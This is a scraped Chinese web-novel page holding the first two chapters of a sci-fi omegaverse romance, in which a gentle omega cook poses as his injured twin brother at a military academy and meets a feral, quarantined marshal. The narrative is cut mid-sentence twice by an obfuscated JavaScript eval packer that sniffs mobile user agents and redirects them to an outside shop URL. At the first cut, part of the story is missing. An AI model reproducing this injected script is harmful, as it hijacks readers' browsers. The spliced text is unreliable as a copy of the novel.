《请问,室友之间这样算正常吗?》 1. 第一章 【第一章】 星历255年 ,沧厥星域边缘,一艘重型星舰正在匀速驾行。 舰桥内,十二名身着防护服的士兵持枪而立,枪端对准中央那具三米高的维生舱——尽管他们都知道,如果里面的东西真的醒来,这些武器不过是玩具。 舱体是立体的圆柱形,由三十厘米厚的铱合金铸造,表面是一片光滑坚固的白色。 透过观察窗,只能看见一道朦朦胧胧的黑色阴影。 黑色阴影在淡蓝色的精神力抑制剂液体之中缓慢蠕动,像是一头瑰丽又危险的怪物。 众人都在暗自祈祷怪物在星舰降落目的地之前不要醒来。 但在一个小时后,维生舱内突然传出一阵恐怖的嘶吼,舱壁开始不断传来撞击声。 怪物正在凶猛地撞击着维生舱,震得整一艘舰船剧烈颠簸。 纵使大家没有懈怠,但怪物释放出来的精神力极具毁灭性,维生舱根本挡不住,在他们从反应到动作的过程之中,近一半士兵被那强悍的精神力击倒后,不堪重负昏厥了过去。 为首的士兵用通讯器发出紧急求助,呼叫来了舰长和医疗官。 一批医疗官捧着医用箱匆匆入内,现场分析了一番情况后,医疗长严肃道:“快把维生舱内的液体重新换掉,使用最高规格的精神力抑制剂!” 负责注射的医疗官手在颤抖:“长官,那种剂量和浓度从未在活体上使用过,后果……” “我们已经没有时间了,再拖沓,破晓号不出半个小时就会被‘他’摧毁!”医疗长命令道,“注射!” 医疗官们纷纷忙活起来。 随着淡蓝色液体汹涌注入,舱内的撞击从疯狂变为挣扎,最后归于死寂。 那些被殃及的士兵放进医疗舱休养一阵后也恢复了过来,接下来押守的过程当中,依旧无人敢放松。 舰长匆匆来到舰桥,注视了一眼维生舱,心惊胆战地问医疗长:“抑制剂效果怎么样?” 医疗长把刚刚注射的情况如实禀报:“现在生命体征趋于平稳,暂时没有安全威胁。” “那么,‘他’的精神污染等级现在是多少?” 医疗长注视着检测仪,脸色惨白:“污染等级指数即将突破临界值,现在稳定在九级。” “九级意味着什么?”舰长追问。 医疗长没有直接回答,而是调出一段刚捕获的扫描影像。在维生舱那团人形阴影的身上,隐约可见一段不属于人类结构的狰狞轮廓,正随着呼吸而若隐若现。 “这意味着抑制剂很可能会失效,”医疗长声音干涩,“而‘他’的精神体拟态,开始在现实中……长出来。” 现在他们押送的,就是一个“灾厄”本身。 这一端的风波刚平息,另一端驾驶主舱位置传来了一个紧急消息:怪物的精神力暴动意外摧毁了破晓号的核心能源装置,哪怕已经开启了后备隐藏能源,星舰的运航时间仍然无法支撑他们穿过沧阙星系并抵达下一个空间跳跃点。 所有目光投向舰长。 老舰长看着屏幕上最近的宜居星球——三区沧澜星。 老舰长闭上眼,喉结滚动了一下。 “全体改变航向,往沧澜星进发!”他又睁开眼,吩咐身边的副官道,“通知沧澜星防卫军,我们需要紧急迫降!” “愿诸神保佑沧澜星。” 他在心中默念,咽下了后半句——也保佑我们,能活着离开。 —— 破晓号迫降在沧澜星中央大陆以北的星港,半个小时后,港口指挥中心内。 会议室的全息投影上循环播放着四段战场记录: 第一段,涂了防伪层的黑色机甲突入虫族母巢,徒手撕碎虫族三架发射船; 第二段,该机甲返航途中突然失控,炮火扫过友军舰群,三艘护卫舰身负重创; 第三段,救援舱打开时,副驾驶座上的omega驾驶员奄奄一息,至于主驾驶座上,坐着一个高大的黑色人影,是个alpha,银白色的长发在惨淡的照明下泛着冷光,过分俊美却毫无血色的脸庞上一片漠然。 第四段,银白色头发alpha被军队押送进破晓号,中途再度发生精神力暴动,破晓号不得不迫降。 “看看,所有跟‘他’一起共乘机甲的omega都会死!‘他’就是个怪物,根本不是人!” 一个身上戴着安全局徽识的中年男人道,“我坚持最初的意见,对目标实施人道销毁!” “但你们可别忘了,正是‘他’在一个月内收复了三个失守星区。”沧澜星军部代表冷冷道,“‘他’为联邦征战十四年,从无败绩。现在‘他’只是精神力暴动了,需要接受治疗。” 关于对怪物的去留,会议桌上已经吵成一片,逐渐分成了激进派与治疗派。 激进派的声音渐渐盖过了治疗派的声音: “人道销毁才是是最稳妥的选择!九级精神污染,历史记录中无人存活超过一年。‘他’现在每暴动一次,异化就加深一层,迟早会彻底变成——” “变成什么?”一个苍老的声音从门口传来。 所有人起身。 说话的是个身穿深蓝色军装的老者,肩章上的将星显示他早已退役,但无人敢轻视他的话语——他是沧麓军校校长,秦岳山。 沧麓军校是全星际首屈一指的中央军校,为联邦培养出了无数人才,在座许多人都毕业于沧麓军校,加之秦岳山是个颇有话语权的人,他一发话,所有人都挺胸收腹,不再多语。 “秦校长,”安全局局长尽量让语气显得尊重,“我们知道‘他’曾是您的学生,您对他有感情,但现在是理性决策的时候——” “原来你也知道晏疏野的存在,但你对他该有的敬畏与尊重在哪里?”秦岳山淡声问。 安全局局长一噎,道不出话来。 晏疏野是联邦当中堪称人形核武的存在,拥有所向披靡的体格和极其变态的战斗力,征战十四年立下赫赫军功,深受全星际子民爱戴,更受帝国器重,年纪轻轻就获得了最高军事荣耀——元帅。 这是象征着最高军事荣耀的军衔,全星际只此一位。 联邦与帝国共同打造出了一位神明般的人物,但随着近几年与虫族的战役日渐频繁,元帅的精神力暴动次数竟也趋于频繁。 纵使在精神力暴动的情况下,元帅也能操纵机甲击杀大规模的虫族,但代价就是与他共乘的驾驶员需要忍受巨大的痛苦,目前为止,没人能够承受这种痛苦。 过去几个月,联邦一直在致力于寻找不仅能够安抚元帅精神力暴动还能一起开机甲的伴侣,但匹配了十多位omega,他们伤的伤,死的死,离开的离开,无一例外都失败了。 帝国那边对外封锁元帅精神力暴动一事,让破晓号从前线押送元帅去星际九区最高监狱进行疗养。 大家都心知肚明,去星际最高监狱基本算是半放弃治疗了。 然而现在破晓号迫降在沧澜星,修复好核心动力装置最快也要三个月。 如何处置元帅成了迫在眉睫的问题,军方始终没有得出一个稳妥的解决方案。 众人都看向了秦岳山。 秦岳山道:“我听了前线汇报。晏疏野在另一位驾驶员昏厥后,独自操控机甲完成剩余战役目标,随后等待收容。如果真如你们所说是个怪物,他现在应该在某个星球上大肆破坏,而不是躺在破晓号的押运舱里。” 会议室陷入短暂沉默。 “但他的污染指数——”有人小声说。 “是九级,我知道。”秦岳山走到落地窗前,望着港口中那艘押运舰,“正因如此,我们更不能销毁他。九级污染意味着什么?意味着他的精神力强度已经突破现有理论框架。如果我们能理解他,给予更先进的治疗,联邦的精神力科技可能跃进五十年。” “或者他随时可能陷入狂暴,带走半个沧澜星。”安全局局长冷冷道。 “所以需要合适的收容环境。”秦岳山转身,“沧麓军校后山,有一处旧时代遗留的基地,远离校区与居民区,有独立能源和防御系统,经过改造可以作为收容设施。我申请将晏疏野转移至该处,由沧麓军校负责监管。” 许多人不可置信,“把那种怪物放在军校里?!” 他们都认为秦岳山疯了。 “晏疏野不是怪物。”秦岳山肃穆地重审一句,“他是我的学生,是联邦的元帅。战争尚未结束,虫族的威胁还在边境之外游荡。我们需要他。” 争论又持续了一小时。 最终,在军部、科技院的双重支持下,秦岳山的提案终于通过。 当天傍晚,在重型运输机的护送下,一个完全密封的特制舱体被运往沧麓军校后山。 沿途所有道路提前封锁,当地的百姓只被告知有“军事物资运输”,无人知晓那舱体内装着什么。 后山那片区域被划为“红色禁区”,安全等级升至最高。 —— 十三区边陲星域,青瓷星。 雨刚停,青石板路湿漉漉地倒映着傍晚后的天光。 正是炊烟袅袅时。 “青梧啊,今天的鱼可真新鲜!” “刘婶您来啦,这条鲈鱼是早上刚从河里捞上来的,清蒸最好,我给您处理干净?” “好好好,还是你贴心。”刘婶道,“哎,白起那孩子是不是快开学了?” 程青梧一边熟练地刮鳞去内脏,一边笑着应道:“是啊,后天就回学校了。这小子,假期跟同学去旅行了,说开学前要最后疯一回。” 挂着“归去来兮”招牌的饭馆拢共摆了六张桌子,此时坐了五桌客人。 油锅滋啦作响,炒勺翻飞间,香气弥漫整个空间。柜台后的老式收音机正播放着星际新闻,但没人认真听——比起前线战事,邻里间的家长里短显然更有吸引力。 食客们在家长里短的间隙,会忍不住打量着正在掌厨的青年。 系着洗得发白的围裙,里头是针织白衬衫和牛仔裤,撑起了修直颀长的身量。脑袋上的猫耳朵因专注而微微竖起,尾巴在身后轻轻摆动。 青年炒菜的动作行云流水:切菜、下锅、调味、装盘,再端到客人面前。残阳的淡金色余晖描摹在他的轮廓上,显得纤细又温软,尤其是他的桃花眼常挂着一丝清浅温煦的笑,看得让人心里舒畅。 在青瓷星的四里八乡,没有人不喜欢程青梧,尤其是他还是个Omega。 “小程,你这手艺真是不错,在咱们镇上开饭馆可惜了。”一位大爷抿着小酒感慨。 “王叔您又夸我。”程青梧擦擦手,将刚出锅的糖醋排骨放在桌上,“我这点本事,也就够在镇上混口饭吃。大城市里厉害人多着呢。” “话不能这么说,你这孩子实诚,做的菜有家的味道。”刘婶接过处理好的鱼,压低声音,“对了,前天张姨说的那事,你考虑得怎么样?她娘家侄子,在城里做机械师,是个alpha,人挺老实的……” 程青梧耳朵微微泛着热:“刘婶,我现在只想把饭馆经营好,白起还没毕业呢。” “你这孩子,就是太顾着弟弟。”刘婶摇摇头,付了钱拎着鱼走了。 程青梧笑了笑,转身继续忙碌。 他的生活简单而充实:清晨去集市采购,白天经营饭馆,晚上算账、研究新菜式。弟弟程白起在沧麓军校读大三,学费生活费都是一笔不小的开支,但程青梧从不抱怨。 五年前,父母在一次星际货运事故中去世,留下兄弟俩,那时他们十六岁。作为哥哥,程青梧放弃了继续学业的机会,用赔偿金和父母留下的积蓄开了这家小饭馆。 程青梧是B级精神力,不高不低,精神体又是温顺的白猫,在崇尚战斗与力量的军校体系中毫无优势。 但程白起不同,他是A级精神力,从幼时起,少年就彰显出战斗的天赋,大一大二的单兵机甲作战成绩都是名列前茅,可谓是千里挑一。正因如此,程白起是军校重点培养的对象。 所以程青梧觉得,自己的选择是对的。 饭馆经营到夜里十点半,最后一位客人离开,程青梧关上门,开始打扫。 白猫精神体从识海里跃出来,跳上柜台,舔着爪子。程青梧一边拖地,一边和它说话:“白起明天就回来了,得给他做点好吃的带去学校。你说做红烧肉好,还是酱香排骨好?” 白猫“喵”了一声,蹭了蹭他的手。 收拾完毕,程青梧泡了杯姜茶,坐在柜台后算账。今天收入不错,除去成本,够给白起买那套他看了好久的机甲武器配件了。 正想着,通讯器突然响起。 是程白起。 “玩得开心吗?”程青梧笑着接通,“明天几点的航班,我去接……” 全息影像弹出,画面里的程白起让他微微一愣。 弟弟半靠在胶囊型的医疗舱内,额头上贴着纱布,左臂打着石膏,右腿也被固定着,脸上却挂着那副惯有的痞气笑容。 “哟,哥。”程白起用没受伤的右手挥了挥,“惊不惊喜,意不意外?” “你怎么——”程青梧倒吸了一口凉气,站起来,“这怎么回事?” “我在蓝岩星做地质勘察训练,那是下学期的选修课,我想提前拿到学分,”程白起耸耸肩,因牵动伤处疼得他龇牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我们长得一样啊。”程白起理所当然道,“你学学我走路说话的样子嘛。哥,你之前又不是没在军校预科待过,基础理论你都懂的。就点名的时候应个到,老师提问就说不知道,多大点事。” “这不是小事。”程青梧语重心长,“冒充军校生是违反校规的,一旦被发现,你会被开除的。” “所以才需要你啊!”程白起换了个更舒服的姿势,眼神也认真了些,“哥,这次syncore机甲考核我真的不能错过。” “syncore?” “对,就是近十年联邦科学院搞出来的新玩意儿。” 程白起语气里带着军校生特有的专业感,“syncore是一种专门用于跟虫族作战的双人机甲,一个omega加一个alpha通过精神力连接共同驾驶。这是现在最前沿的作战模式,也是大三核心课程。” 程青梧静静听着。他能从弟弟的语气里听出对考核的重视。 “如果错过了呢?”他问。 “错过开学初的考核,这科就挂了。”程白起摊手,又疼得抽了口气,“挂了就不能毕业。但更重要的是——” 他顿了顿,难得收起那副吊儿郎当的表情,“军校会根据这次考核的表现,推荐优秀学员参加下半学期的军团实习。” 程青梧微微一顿。 “第七军团,哥。”程白起的眼睛亮了起来,“它是边境前线部队。如果能在syncore机甲考核里拿到优等,下学期就能拿到实习名额,上前线,跟真正的虫族作战。毕业之后,直接授衔入编。” 说这些话时,程白起身上那股子痞气消失了,取而代之的是一种熊熊野心。程青梧突然意识到,弟弟已经不再是那个跟在他身后的小男孩了。 “学校已经给我匹配了一起驾驶机甲的搭档,叫阿瑞斯,A级alpha,实战成绩这届前三。”程白起继续说,“我们的精神力匹配测试是年级最高分之一。哥,如果错过这次机会,我不知道还能不能找到这么合适的搭档,也不知道还能不能拿到实习名额。” 程青梧沉默了。他知道弟弟一直想上前线,就像他们牺牲在运输舰上的父母一样,成为军人。 但他没想到,这个机会来得这么突兀。 “哥,好不好嘛?”程白起的声音软了下来,凑近了镜头,“你要真不愿意,我就自己想办法,大不了休学半个学期。但是……” 程白起没有再说话。 身为哥哥,程青梧听出了弟弟言下的不甘——程白起真的很想抓住这次机会,上前线,拿军功,毕业直接授衔,这是他一直想要走的路。 程青梧知晓这小子从小到大都这样,想要什么不会哭着求,只会用这种半是撒娇半是耍赖的方式磨到你同意。 “就一个月?”程青梧问。 “我发誓。”程白起意识到事情有转机,立刻举起没受伤的手,“四周后拆石膏,我马上换回来。而且syncore机甲实操训练我自己想办法,尽可能不让你去碰机甲。你只需要帮我保住这个资格,行吗?” 程青梧看着弟弟期待的眼神,终于叹了口气:“可以是可以,但我有几个条件。” “你说!”程白起挺直了身板。 “第一,请把饭馆委托给隔壁邻居陈姨打理,收入分她三成。” “第二,每天跟我通讯汇报恢复情况。” “第三,有任何暴|露的风险,计划立刻终止,不管实习不实习。” 说完,程青梧抱着胳膊道:“条件就三个,有什么问题?” “成交!”程白起嘬起嘴唇亲了镜头一口,“哥你最好了,等我从前线回来,给你带沧澜星特产!” “你先给我好好养伤。”程青梧压了压眉心,“别想那些有的没的。” 挂断通讯,程青梧靠在椅子上,白猫精神体跳到他腿上,用脑袋蹭他的手。 “我是不是太惯着白起了?”程青梧摸着猫咪柔软的毛,低声喃喃。 前二十一年他从来过得都是循规蹈矩的日子,从未做过逾矩的事,一想到今后要帮弟弟去军校代课,他觉得这种决定太过于疯狂。 但事已至此,反悔也来不及了,必须接受新的变化。 程青梧站起身,开始收拾东西。 小饭馆要暂时歇业,得跟老顾客们打招呼;行李不用多,军校配有新的制服;还要联系陈姨…… 凌晨两点,程青梧终于忙完躺在床上,辗转反侧还是睡不着,他侧头,看向窗外。 天穹之上星空璀璨,青瓷星的两轮月亮一东一西悬挂天际。他想起小时候,父母总说兄弟俩就像这两轮月亮,相互守望,永不孤单。 程白起是程青梧唯一的家人,程青梧十分珍惜他。 程青梧在月色里静静坐了一会儿,然后打开那台老旧的光脑,开始查询前往沧麓军校的星际航班。 2. 第二章 【第二章】 两天后,程青梧搭乘上了前往首都星的星际飞船。 他穿着程白起的制服——深黑色的军装外套,银线绣着沧麓的鹰翼徽章,军装稍微有点大,衬得他更加纤细清瘦。 行李箱除了几件贴身的换洗衣物,全是弟弟塞给他的教材、笔记,还有一些他的私人用物。 “哥,你要记住,你现在叫程白起,omega,就读大三指挥系,学生编号A-7342。” 程白起在通讯器里絮絮叨叨,“课程表我发给你了,上实战课别硬撑,机甲操作不起来就称病请假。” “知道了。”程青梧浅浅笑道,“你好好养伤,按时吃饭,我让陈姨每天给你送饭。” 屏幕中,程白起的声音顿了顿,“哥,谢谢你。” 结束通话后,程青梧看向窗外。 窗外的星空像是一只打翻的珠宝盒,碎钻般的星辰在深蓝天鹅绒上铺散开来,青瓷星就像是一枚绿豆,被抛入了寰宇之中,很快就消失了。 这是程青梧第一次离开青瓷星。 从小到大,他从来没有去过这么遥远的地方,顶多只是小时候跟随父母去边陲星域之内的其他星球旅游,体验一番其他星球的风土人情罢了。 青瓷星在十三区,而沧麓学府在三区,路途迢迢,程青梧一路上都在抱着书本恶补帝国史、机甲理论…… 虽然体力不行,精神力等级也一般,但程青梧自认为自己记忆里还是很好的,背诵理论对他来说不成问题,以前上军校预备科的文试,他基本上都是满分。所以,帮弟弟代课的话,应该不至于露馅。 背书背着背着,就饿了,程青梧从行李箱拿出一个保温便当,里面是他自己出发前做的糖醋里脊盖饭。 程青梧拿起勺子尝了一口,还热乎着的,他幸福地吃了起来。他的人生里就只有两件乐事:做饭和吃饭。 直至他感受到了一道目光,是坐在斜对面的男生,同样也穿着配有雄鹰徽章的深蓝色军校制服,体格健壮,肩宽背阔,是典型的Alpha身材。 男生手里拿着营养液,只喝了一半,但没再喝了。他的眼睛一直定格在程青梧的便当上,偶尔吞咽一口唾沫。 现在是3026年,科技文明高度发展,人类一直在进化,衣食住行发生了翻天覆地的变化,单拿“食”来说,人类发明出了营养液,它量小又管饱,是先进文明的产物。在越发达的星系,使用营养剂的人越多。 与程青梧同乘在一个车厢的乘客,除了他,其他人基本上在靠营养液充饥。 营养液使用多了会使人类的食欲退化,程青梧却在对方的脸上看到了“食欲”二字,遂弯着眉眼,温声问:“同学,想要一起吃点吗?” 男生似乎没有料到程青梧会这样问,古铜色的皮肤上泛起了一丝红晕,他挠了挠的脸:“可以吗?” 程青梧拿出备用饭盒,舀了一半的白米饭和一半的糖醋里脊,递给男生:“我胃口小,也吃不了多少。” 男生感激地看了程青梧一眼,接过去品尝了起来。很快地,他脸上露出了惊艳的神色,大口大口地把饭菜吃完了,擦了擦嘴角道:“这是你亲手做的吗,真好吃!我从小到大,还没吃过这么好吃的饭菜!” 程青梧笑了笑,没说话。 男生先将饭盒洗干净,还回去,且问:“你也是沧麓的学生?” 程青梧点头,下意识地将一缕滑落的碎发别到耳后。 “我叫顾昕,是蓝海人。”顾昕爽然地伸出手,“看你的制服,也是大三生?” 程青梧握住对方的手:“程白起,青瓷星人。” “青瓷星?那可是偏远地区啊。”顾昕由衷地道,“你能考进沧麓,一定很厉害。” 程青梧笑了笑,没有接话。 他哪有什么厉害,不过是暂时顶替弟弟的身份罢了。 三个小时后,飞船穿入沧阙星域,开始在沧澜星降落,重力变化让程青梧胃部轻微不适,他不由得透过舷窗朝外俯瞰而去。 只一眼,他愣怔住了。 大气磅礴的金属灰建筑群在阳光之下泛着冷光,训练场内进行实战的机甲如同巨人般魁梧,天穹中不时有飞行器呼啸而过…… 这就是沧麓,联邦顶级军事学府,培养出无数将领和英雄的地方。 —— 星际飞船停靠在中央大陆以南的星港。 “走吧,学生通道在那边。”顾昕很自然地走在程青梧身侧,高大的身形替他挡开了一些拥挤的人群。 程青梧感激地看了他一眼。周围泰半都是身量高大的alpha,身为一个omega,他本能对如此高浓度的alpha信息素感到不安。而顾昕的气质非常温和,并不会让程青梧感受到压力亦或是攻击性。 两人跟着人流往前走。 星港北偏东两百米开外就是沧麓军校的报到处,报到处的队伍排得很长。 快轮到程青梧了。 他观察到,大门口站着一个两米高的机器人,魁梧健壮,它手里举着一柄类似于枪的东西,扫描学生的眼部,只扫描一下,学生就完成了报道。 程青梧猜测这种枪应该是类似于验证身份的东西,通过扫射人的眼睛,就能立刻识别对方的身份。 程青梧不由有些紧张,他与程白起虽然长得非常相似,但虹膜也不会是完全一样的。 如果枪扫到他的眼睛,会不会验证不出来? 更让程青梧忐忑的是,这个机器人看起来挺能打的,在扫描学生之后,都要进行一场肉搏战,还是限时战。如果五分钟内被机器人打趴下了,就需要去邻近的训练馆跑二十圈,或是做一千个俯卧撑。 目前差不多有一半的学生都因为挑战失败被罚了。 程青梧掂量了一下自己几斤几两,感觉自己还没得及出招,就被机器人一拳打飞了。 程白起也没有跟他提及这件事,饶是现在问,也根本来不及了。 因为现在队伍轮到他了。 程青梧按捺住内心的忐忑,小步走上前。离得近了,他看清机器人胸口挂着的工作牌上的编号,微笑道:“你好呀,008号。” 不知道主动释放善意,能不能让机器人待会儿下手轻一点。 殊不知,008号看到他,露出了类似于恐惧的表情,一连后退数步,只将一个号码牌子隔空抛给了他:“这是新宿舍门卡,快走。” “下一个!” 008号连扫都没有扫程青梧,就直接让下一个同学排队了。 程青梧很意外,008号居然直接略过他了? 或许在场唯一一位让008号放弃挑战的同学,许多同学都歆羡地望着程青梧。 顾昕就没有这个福气了,他跟008号打得难解难分,差不多以微弱的优势险胜,才顺利进入校门。 顾昕把程青梧从头打量到脚,眼神也跟着发生变化:“慢着,兄弟,我好像知道你是谁了……” “我听说两年前指挥系来了个猛o,因为太能打,接连打败了沧麓七个战斗型机器人,逼得校方不得不连夜迭代机器人,这学期就换了第八代机器人。” “那个猛o,该不是就是你吧?”顾昕露出了崇仰的表情。 弟弟打坏了这么多战斗型机器人的事,程青梧是一点儿都不知情,毕竟弟弟对他向来是报喜不报忧。 眼下,被人用这么崇仰的目光看着,程青梧不免有些心虚,说多错多,他只能故作淡定地嗯了一声。 照此看来,008号之所以这么怕他,想来是把他当成了程白起,怕他打坏它吧? 顾昕热忱道:“我也是作战指挥系的,以后在机甲训练课上要是碰到了,劳烦大佬多带带我!” 程青梧更心虚了,他连机甲都没碰过,一旦实战起来只怕会是露馅。他不想做这种口头承诺,含糊道:“到时候再说吧。” 顾昕只当是对方谦逊了,凑过来问:“对了,白起哥,你宿舍在哪儿?” 好了,这一会儿,连哥都称呼上了。 程青梧看了一下号码牌,道:“在909。" “我在307,看来咱们不在一栋楼。”顾昕拍了拍他的肩膀,“先去领物资吧。” 物资发放点在大厅另一侧。 程青梧领到了属于大三学员的新作战服——深灰色底,银色镶边,披风式外袍长及腰际,肩章上镶嵌了三颗银星。 生活包里有基础的洗漱用品、训练时间表,还有一枚刻着“沧麓”字样的金属身份牌。 “这牌子很重要,千万别弄丢。”顾昕一边把自己的身份牌挂到脖子上,一边提醒,“门禁、图书馆、训练场,到处都要刷这个。” 程青梧点点头,也学着他的样子将身份牌戴好。 走出物资发放点,顾昕又问:“白起哥,你行李多,要不我先帮你一起去拎到新宿舍吧?” “不用啦,我自己能行。”程青梧伸手去掏口袋里的通讯器,想调出弟弟之前发给他的校园地图。 程青梧往口袋一探,却是空空如也。 ——这是怎么回事? 他迅速将背包放到地上,翻找起来——内侧口袋,外侧口袋,夹层,甚至把包里所有东西都倒了出来。 没有,都没有。 通讯器不见了。 “怎么了?”顾昕觉察到不对劲。 程青梧有点伤脑筋,“我的通讯器不见了。” 那里面存着弟弟发给他的所有注意事项、课程表、联系人,甚至还有几段视频,是弟弟模仿自己的言行举止录下来给他学习的。 如果丢了…… “别急,想想最后一次用是什么时候?”顾昕蹲下来帮他一起翻找。 “在飞船上,我看了下时间之后,”程青梧努力回忆,“然后就放回口袋里了。” 顾昕的表情严肃起来:“星际快船上偶尔会有小偷。你的通讯器可能被扒了。” 这个结论让程青梧的心沉到了谷底。 他现在不仅没有地图,连最基本的联系工具都没有了。在这个完全陌生的地方,他就像只没头苍蝇。 “先别慌。”顾昕站起身,从包里拿出一个巴掌大小的方形设备:“这是我的备用导航仪,借给你用吧。输入宿舍号,它会引导你走过去。” 程青梧下意识婉拒:“这怎么好意思。” “拿着。”顾昕不由分说地塞进他手里,“等你安顿好了再还我。对了,”他压低声音,示意程青梧看向大厅另一侧,“看到那些穿正式军装的人了吗?都是高年级的alpha。在军校里,omega数量很少,白起哥,你虽然强,但要多保护自己。” 程青梧顺着他的目光看去,果然有几个穿着银灰色正式军装的学员正靠在墙边交谈,其中一两人的视线正巧扫过他们,眼神锐利如鹰。 程青梧缩了缩脖子,白猫omega的本能让他想要躲藏。 “谢谢提醒。”他真诚地说。 顾昕有事要先离开,两人约好明天训练场见。 程青梧独自一人站在熙攘的大厅里,握住了手中的导航仪。 按照顾昕教的方法,他在导航仪上输入了“909”,屏幕上出现了一条弯弯曲曲的路线图,终点标记在北区。 程青梧背着背包,跟随导航仪的指引走出了主楼。 沧麓军校大得简直超乎想象,程青梧走了近二十分钟,周遭建筑群逐渐稀疏,树木却逐渐茂密起来。导航仪显示他正在接近北区,空气中湿度明显增加,甚至能听到隐约的水声。 程青梧继续跟着导航仪走,前方出现了一片被高大树木环绕的区域。 一道半透明的巨大光膜横亘在路中央,在阳光下折射出一片妖异又漂亮的的彩虹色光泽。 这是什么?新型门禁吗? 程青梧观察了一下,没有可以刷卡的地方,好奇地伸手碰了碰。 光膜像水波一样荡漾开来,他的手毫无阻碍地穿了过去。 “还挺高科技的欸。”程青梧赞叹着,整个人轻松地穿过光膜,甚至没感觉到任何阻力。 穿过光膜后,景色豁然开朗。碎石子阡陌小路延伸进一片茂密的林地,路旁开满了不知名的野花,鸟鸣清脆悦耳。 这和他想象中的军校宿舍完全不同——没有整齐划一的楼房,没有操练的口号声,只有宁静的自然风光。空气清新得让人心旷神怡,裹挟着树叶和泥土的芬芳。 “军校对学生福利真不错啊。”程青梧惬意地想道,“居然把宿舍建在这么美的自然景区里。住在这里的同学太幸福了。” 他沿着小路继续走,心情越来越好。 这里比青瓷星乡下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077704|195289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小饭馆环境还要好,弟弟能在这样的地方学习生活,他由衷地感到高兴。 小路拐了个弯,前方出现了一个简易的瞭哨亭。 一个穿着黑色制服、肩章上配有徽记的高大alpha正靠在瞭哨亭旁,手里拿着一个电子平板,半空之中跳动着很多精细的数据,似乎正在监测着什么。 程青梧走近时,alpha抬起头。 四目相对。 程青梧注意到对方的眼神明显愣了一下,然后在他脸上停留了相当长的时间——这种目光他并不陌生,在青瓷星开饭馆时,也常有客人这样看他。邻居阿姨们总说:“青梧这娃娃长得太好看了,以后不知道便宜了哪个alpha。” 男人看起来三十出头,面容刚毅,左边脸颊有一道浅浅的疤痕。他的制服和之前见过的学员完全不同,更厚重,肩章上的图案程青梧在入学手册上见过,好像是特种戍卫队。 “新来的?”男人开口,声音低沉。 程青梧点点头,露出礼貌的微笑:“是的,新生,今天报到。” 男人挑了挑眉,上下打量了他一番,目光在他肩章的那三颗银星上停留片刻,又回到他脸上。然后,男人似乎明白了什么,露出一种“原来如此”的表情。 男人从腰间取下一张卡片,在瞭哨亭旁的一个感应器上刷了一下。 “进去吧。”男人说,“顺着路直走就能看到住处。” “谢谢!”程青梧开心地道谢。他心想,军校的服务真周到,还有专人指路。 他不知道的是,转身离开后,叫雷克斯的戍卫队队长盯着他的背影注视着了很久,然后按下终端: “909区域有新访客进入,是个男性omega,二十岁左右,黑发白肤。你们务必注意观察。” 终端那头传来惊讶的声音:“老大,联邦这次又派人来了?这次能撑多久?” “不清楚。看起来很单纯。” 雷克斯停顿了一下,他在监控上看到这个omega刚刚直接穿过了防御罩。防御罩是精神力在A级之上的人才能顺利通过的特殊防御系统,寻常人根本进不去,但程青梧居然直接进去了。 雷克斯谨慎道:“他也许不一样。” “希望吧。那位大人的状态最近越来越不稳定了。” “……” —— 程青梧对身后的对话一无所知。 他沿着小路前进,越走越觉得这里真是个好地方。树木高大葱郁,阳光透过叶隙洒下斑驳光影,偶尔还能看到一些小动物在灌木丛中窜过。 “住在这样的地方,每天都能呼吸新鲜空气,白起的身体一定能养得更好。”他欣慰地想。 又走了几分钟,树林忽然开阔起来。 一片巨大的湖泊出现在眼前。 湖水清澈见底,呈漂亮的蓝绿色,远望之下,像是一块剔透的翡翠。湖面倒映着天空和周围的山峦,岸畔处是细软的白沙,散落着光滑的岩石,一些白色花朵在微风中摇曳。 程青梧听到了凫游的声音,循声往湖泊中央看去。 一道深色的人影在空旷的湖中游泳。 那人游泳的姿势矫健有力,每一次划水都带起漂亮利落的水花。因为距离较远,程青梧看不清细节,只觉得对方的身材很不错。 应该是新室友吧? 程青梧很期待跟对方打个照面,遂是在岸边找了块平整的石头坐下,把背包放在脚边,安静等待着。 湖水中的身影似乎察觉到了岸上有人,忽然改变了方向,朝着他这边游来。 速度极快。 几个吐息之间,那人就游到了浅水区,然后从水中站了起来。 程青梧的呼吸停滞了。 这是一个年轻的男人,嘴里叼着一条还在扑棱的银蓝色活鱼,身材雄硕矫健到令人难以置信的程度。水流从他结实的胸|膛滑落,沿着流畅的人鱼线上一路朝下蔓延,水珠在阳光下闪闪发光。 看了一眼,程青梧便腼腆起来。 怎、怎么新室友什么都没有穿啊! 他的视线都不知道该往哪儿放了,只能规规矩矩地往对方的脸上看。 男人的头发是银白色的,湿漉漉地贴在额前和颈侧。 他的头顶,生着两只漆黑濡湿的龙角。它们从男人的发间自然生长出来,根部粗壮,向上逐渐变细,尖端锐利。 男人走上岸,水珠从龙角尖端滴落,在沙滩上砸出小小的凹坑。然后他在两米开外的位置停下,居高临下地扫了程青梧一眼。 瞳仁是暗蓝色的,视线清冷如霜刃,像是未经驯化的野兽,充满了原始的野性与审视。 程青梧嗅到了男人身上释放的信息素,是火山熔岩的气息,非常具有摄魂夺魄般的压迫感。 他吓得当场露出了猫耳朵和猫尾巴。 程青梧背过身去,心中得出了一个结论—— 大城市的男人真的很开放啊,可以随随便便在室外裸泳! —— 程青梧不知道的是,以雷克斯为代表的特种戍卫队正在远程监控着他们。 这是红色禁区建立半年以来第一次出现了新的访客,所有人都在严阵以待。 元帅精神力暴动之后,不仅身体发生了异化,就连记忆也渐渐丧失了。虽然披着人的皮囊,但他的行为跟那些丛林猛兽基本没什么区别。 他们非常担忧程青梧的性命。 